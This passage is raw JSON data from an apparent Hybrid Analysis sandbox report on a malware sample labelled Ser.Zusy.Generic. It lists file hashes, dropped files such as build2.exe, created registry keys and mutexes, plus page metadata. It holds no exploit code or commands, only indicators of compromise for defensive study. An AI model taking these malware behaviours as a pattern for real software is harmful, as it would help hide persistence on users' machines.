e","sha256":"4cded6db59a1dccc2866c525f25966b95f06697bf48cbf4d67ebc8394e327f2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"appidcertstorecheck.exe","sha256":"bb5b0e513164c06d312894aaa9303137d4cdb2d1b6dce1587b4fd65c361b08e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"appwiz.cpl","sha256":"92dfb7082fcc9d8692db7d0ded93635cc73cc9114231315845cf5754c6d5499a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"autofmt.exe","sha256":"1d4adac4c34fa1a0f24687fbea025738ef370eee9afd1670b6160ddcc0c643e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"axinstui.exe","sha256":"bbb98a2b69008ffde9d5acb82e517b4c0fbc862ce6259748e726cf22f8b9e0fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"winresume.exe","sha256":"a65e28f46d4d958e21dcfc0ee02f6b7ee55e2ae8752c57b9ef3e95a9f55d5863","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"compmgmt.msc","sha256":"d3851849e97c4a0e257e28b56ea00d12499de9abd29d66ae88b54eb68da5739c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"clip.exe","sha256":"a9a1ccee7c791b47d7e54f207d4f71733b96f23915316e074c2948916650549a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"comexp.msc","sha256":"485f2169b1289376ac39577c8cd910018d06a304d907d3b9b5702ff9f8b19bcd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"control.exe","sha256":"f977b78fb0342774af1fcbcf56f4daa22c70a3cc26e4ec7dd2ecc763a35c6afc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"credwiz.exe","sha256":"5eb652c3426c66f8e18fb5b6022dd8ffc1014e59509d7e94c721d7392c630fe3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"cl_invocation.ps1","sha256":"5bea6c2bcff5199c25ee62b859eff27e65e6038bba94e358a3b1196a91c04ac5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"cl_loadassembly.ps1","sha256":"f7af16255ff2bf6fe9fc6b42a2a00f6af2cbcdbecc5f866474407cdb8c052bc7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rs_themes.ps1","sha256":"f4e73d303382215ee73a9d98362e595cdcdf13e6dfe092d9be81a2e648aaf9c2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rs_transparency.ps1","sha256":"32ef2ad019c35f90d695122efd3a9fd0473014b02a8212f2a27b6c3ace653748","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rc_connectedaccount.ps1","sha256":"741422730b6bd9427eab70a705688cec5e96587d62a559bc2c8e000e584627c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rs_temporaryprofile.ps1","sha256":"fffb2904302126ea097febd2f098394fec5e524c66db70764bfe9658b4f7fd5f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rs_uac.ps1","sha256":"4d69b8fcab20f08264a724c1aabeff684fadc0d683e7b22dd22ad929950e3851","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rc_bitsdll.ps1","sha256":"0aa66d961a12d15b7853a201e98b7f8cc71fc6b1132420919e0375dcf1f5e780","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"ts_main.ps1","sha256":"7b3b4611081aea07ef4f1e3d5326ec32ba90ef249ceb51f1e7f0ce0271323138","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rc_btradiooff.ps1","sha256":"6a913d4f6b902838ce0c52a03b24802cd255443f0ef2ae45fe969f268374639d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"rc_checkbt.ps1","sha256":"2bac9f26b88d76a53e299644bc2e64f83f9818f4a5462dfcfd9e876c3ef7eb07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"MicrosoftEdgeSetup _1_.exe","sha256":"fc8f9515372e2869c0f75c001eabe7d5f9547ffa6699ae5eda191ddb45124d73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\get[1].htm","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\df8c6a0c-0177-49ac-afd3-6be3e6628609\\build2.exe","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"C:\\Users\\HAPUBWS","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\W32TIME\\SECURETIMELIMITS\\RUNTIME\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\IDENTITYSTORE\\CACHE\\S-1-5-21-735145574-3570218355-1207367261-1001\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"SM0:6576:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\SM0:6576:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\SM0:6576:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"SM0:6344:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\SM0:6344:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"SM0:7000:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\SM0:7000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"\\BaseNamedObjects\\SM0:5584:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Local\\SM0:5728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"SM0:5728:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"\\BaseNamedObjects\\SM0:5832:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"\\BaseNamedObjects\\SM0:6148:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}]}},"report_ids":{"sandbox_job_ids":["64772d363cb027d4770cd917"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ser.Zusy.Generic Sample dc63baabd84d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample dc63baabd84d…. Malware family: Ser.Zusy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f"}],["$","meta","4",{"property":"og:title","content":"Malicious Ser.Zusy.Generic Sample dc63baabd84d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample dc63baabd84d…. Malware family: Ser.Zusy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ser.Zusy.Generic Sample dc63baabd84d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample dc63baabd84d…. Malware family: Ser.Zusy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L77","11",{}]]